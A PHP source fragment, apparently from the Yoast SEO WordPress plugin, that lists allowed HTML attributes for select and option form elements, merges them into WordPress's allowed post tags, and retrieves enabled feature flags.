					&#039;form&#039;            =&gt; true,
					&#039;hidden&#039;          =&gt; true,
					&#039;lang&#039;            =&gt; true,
					&#039;multiple&#039;        =&gt; true,
					&#039;name&#039;            =&gt; true,
					&#039;onblur&#039;          =&gt; true,
					&#039;onchange&#039;        =&gt; true,
					&#039;oncontextmenu&#039;   =&gt; true,
					&#039;onfocus&#039;         =&gt; true,
					&#039;oninput&#039;         =&gt; true,
					&#039;oninvalid&#039;       =&gt; true,
					&#039;onreset&#039;         =&gt; true,
					&#039;onsearch&#039;        =&gt; true,
					&#039;onselect&#039;        =&gt; true,
					&#039;onsubmit&#039;        =&gt; true,
					&#039;required&#039;        =&gt; true,
					&#039;size&#039;            =&gt; true,
					&#039;spellcheck&#039;      =&gt; true,
					&#039;tabindex&#039;        =&gt; true,
					&#039;translate&#039;       =&gt; true,
				],
				&#039;option&#039; =&gt; [
					&#039;class&#039;    =&gt; true,
					&#039;disabled&#039; =&gt; true,
					&#039;id&#039;       =&gt; true,
					&#039;label&#039;    =&gt; true,
					&#039;selected&#039; =&gt; true,
					&#039;value&#039;    =&gt; true,
				],
			];

			// Add the global allowed attributes to each html element.
			$input_tags = array_map( &#039;_wp_add_global_attributes&#039;, $input_tags );
		}

		return array_merge_recursive( $allowed_post_tags, $input_tags );
	}

	/**
	 * Gets an array of enabled features.
	 *
	 * @return string[] The array of enabled features.
	 */
	public static function retrieve_enabled_features() {
		/**
		 * The feature flag integration.
		 *
		 * @var Feature_Flag_Integration $feature_flag_integration
		 */
		$feature_flag_integration = YoastSEO()-&gt;classes-&gt;get( Feature_Flag_Integration::class );
		return $feature_flag_integration-&gt;get_enabled_features();
	}
}
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